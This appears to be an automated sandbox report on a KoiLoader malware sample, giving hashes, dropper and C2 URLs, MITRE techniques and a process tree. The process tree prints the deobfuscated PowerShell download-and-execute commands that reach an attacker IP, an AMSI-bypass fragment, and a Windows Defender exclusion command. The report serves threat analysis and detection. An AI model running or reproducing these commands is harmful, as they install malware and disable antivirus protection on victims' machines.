koiloader | a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

General

Target

r6eac11b8-35d6-bffe-da50-d9e1a5ae832ar.js
Size

1KB
MD5

efcc96851f4724909616b5f3ec81cf79
SHA1

783d14e21e058733ef6cc6ca1e934bcf2533d134
SHA256

a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1
SHA512

c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Score

10^/10

koiloader discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://79.124.78.109/wp-includes/phyllopodan7V7GD.php

exe.dropper

http://79.124.78.109/wp-includes/barasinghaby.ps1

Extracted

Family

koiloader

C2

http://79.124.78.109/flocking.php

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/4044-25-0x00000000072A0000-0x00000000072AD000-memory.dmp	family_koi_loader

Blocklisted process makes network request 5 IoCs

flow	pid	Process
15	4044	powershell.exe
19	4044	powershell.exe
21	1524	powershell.exe
42	4044	powershell.exe
48	4044	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2960	powershell.exe
1524	powershell.exe
4044	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4044	powershell.exe
4044	powershell.exe
2960	powershell.exe
2960	powershell.exe
1524	powershell.exe
1524	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4044	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4832 wrote to memory of 4044	4832	wscript.exe	83
PID 4832 wrote to memory of 4044	4832	wscript.exe	83
PID 4832 wrote to memory of 4044	4832	wscript.exe	83
PID 4956 wrote to memory of 4984	4956	DllHost.exe	86
PID 4956 wrote to memory of 4984	4956	DllHost.exe	86
PID 4956 wrote to memory of 4984	4956	DllHost.exe	86
PID 4984 wrote to memory of 2960	4984	cmd.exe	88
PID 4984 wrote to memory of 2960	4984	cmd.exe	88
PID 4984 wrote to memory of 2960	4984	cmd.exe	88
PID 4044 wrote to memory of 856	4044	powershell.exe	91
PID 4044 wrote to memory of 856	4044	powershell.exe	91
PID 4044 wrote to memory of 856	4044	powershell.exe	91
PID 856 wrote to memory of 1524	856	cmd.exe	93
PID 856 wrote to memory of 1524	856	cmd.exe	93
PID 856 wrote to memory of 1524	856	cmd.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\r6eac11b8-35d6-bffe-da50-d9e1a5ae832ar.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; $l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zTJRTNUX3VD'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4044
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:856
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1524

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js"
1⤵
PID:5108

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js"
1⤵
PID:4212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\rcca0d105-8260-4611-8c12-bd85a7208b9fr.js

Filesize
1KB

MD5
efcc96851f4724909616b5f3ec81cf79

SHA1
783d14e21e058733ef6cc6ca1e934bcf2533d134

SHA256
a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

SHA512
c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
eeeba0a4193de537178d40afa3b52152

SHA1
51605caef26356245d06237ba9c9d2e5f9572f68

SHA256
996134a37cb1a5b65d55dba6952700ef705236b6df287ee93b7df9b08fac5829

SHA512
fc9ba58559755c663d6d40f2be1ffe0c47c3810d192b6339a9b5c0452ac48462e141138831c56f7811adc85dcdf8656c3a24038c6c8564bf3eb5275af214b289

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bx0eei3w.2d3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1524-77-0x0000000008820000-0x00000000088B2000-memory.dmp

Filesize
584KB

Download
memory/1524-76-0x0000000008730000-0x0000000008780000-memory.dmp

Filesize
320KB

Download
memory/1524-75-0x0000000008680000-0x000000000869A000-memory.dmp

Filesize
104KB

Download
memory/1524-74-0x0000000008C30000-0x00000000091D4000-memory.dmp

Filesize
5.6MB

Download
memory/1524-73-0x0000000008540000-0x0000000008562000-memory.dmp

Filesize
136KB

Download
memory/2960-69-0x0000000007EA0000-0x0000000007EBA000-memory.dmp

Filesize
104KB

Download
memory/2960-41-0x0000000070990000-0x00000000709DC000-memory.dmp

Filesize
304KB

Download
memory/2960-70-0x0000000007E80000-0x0000000007E88000-memory.dmp

Filesize
32KB

Download
memory/2960-68-0x0000000007DA0000-0x0000000007DB4000-memory.dmp

Filesize
80KB

Download
memory/2960-67-0x0000000007D90000-0x0000000007D9E000-memory.dmp

Filesize
56KB

Download
memory/2960-66-0x0000000007D60000-0x0000000007D71000-memory.dmp

Filesize
68KB

Download
memory/2960-65-0x0000000007DE0000-0x0000000007E76000-memory.dmp

Filesize
600KB

Download
memory/2960-55-0x0000000007BD0000-0x0000000007BDA000-memory.dmp

Filesize
40KB

Download
memory/2960-52-0x0000000007A50000-0x0000000007AF3000-memory.dmp

Filesize
652KB

Download
memory/2960-51-0x00000000079D0000-0x00000000079EE000-memory.dmp

Filesize
120KB

Download
memory/2960-40-0x0000000007A10000-0x0000000007A42000-memory.dmp

Filesize
200KB

Download
memory/4044-29-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download
memory/4044-21-0x0000000005F30000-0x0000000005F4A000-memory.dmp

Filesize
104KB

Download
memory/4044-19-0x0000000005B60000-0x0000000005B7E000-memory.dmp

Filesize
120KB

Download
memory/4044-54-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download
memory/4044-53-0x0000000074B7E000-0x0000000074B7F000-memory.dmp

Filesize
4KB

Download
memory/4044-25-0x00000000072A0000-0x00000000072AD000-memory.dmp

Filesize
52KB

Download
memory/4044-24-0x00000000071C0000-0x00000000071C1000-memory.dmp

Filesize
4KB

Download
memory/4044-23-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download
memory/4044-22-0x00000000073E0000-0x0000000007A5A000-memory.dmp

Filesize
6.5MB

Download
memory/4044-18-0x0000000005570000-0x00000000058C4000-memory.dmp

Filesize
3.3MB

Download
memory/4044-1-0x0000000074B7E000-0x0000000074B7F000-memory.dmp

Filesize
4KB

Download
memory/4044-20-0x0000000005B90000-0x0000000005BDC000-memory.dmp

Filesize
304KB

Download
memory/4044-7-0x00000000053E0000-0x0000000005446000-memory.dmp

Filesize
408KB

Download
memory/4044-8-0x0000000005500000-0x0000000005566000-memory.dmp

Filesize
408KB

Download
memory/4044-6-0x00000000052C0000-0x00000000052E2000-memory.dmp

Filesize
136KB

Download
memory/4044-5-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download
memory/4044-3-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download
memory/4044-4-0x0000000004C50000-0x0000000005278000-memory.dmp

Filesize
6.2MB

Download
memory/4044-2-0x00000000025B0000-0x00000000025E6000-memory.dmp

Filesize
216KB

Download
memory/4044-81-0x0000000074B70000-0x0000000075320000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads